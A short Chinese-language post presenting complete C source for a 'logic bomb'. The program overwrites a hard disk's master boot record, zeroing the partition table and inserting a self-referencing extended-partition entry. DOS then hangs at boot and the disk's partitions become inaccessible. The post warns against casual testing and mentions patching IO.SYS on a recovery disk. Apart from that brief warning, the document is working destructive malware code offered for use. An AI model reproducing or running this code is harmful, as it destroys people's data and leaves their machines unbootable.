邏輯炸彈程序

請不要輕易測試！！否則後果自負。當然，試以前先做一張特殊的DOS盤，
把IO.SYS中的80 3F 05 XX XX改爲90 90 90 90 90。

# include <bios.h>
# include <dos.h>
# define N 0x200
main()
{
int i;
unsigned char s[N];
biosdisk(2,0x80,0,0,1,1,s);
biosdisk(3,0x80,0,0,3,1,s);
for(i=0x1be;i<0x1fe;i++)
s[i]=0;
s[0x1c0]=1;
s[0x1c2]=5;
s[0x1c3]=1;
s[0x1c4]=1;
biosdisk(3,0x80,0,0,1,1,s);
/* 可以先改成試試biosdisk(3,0x80,0,0,7,1,s); */
}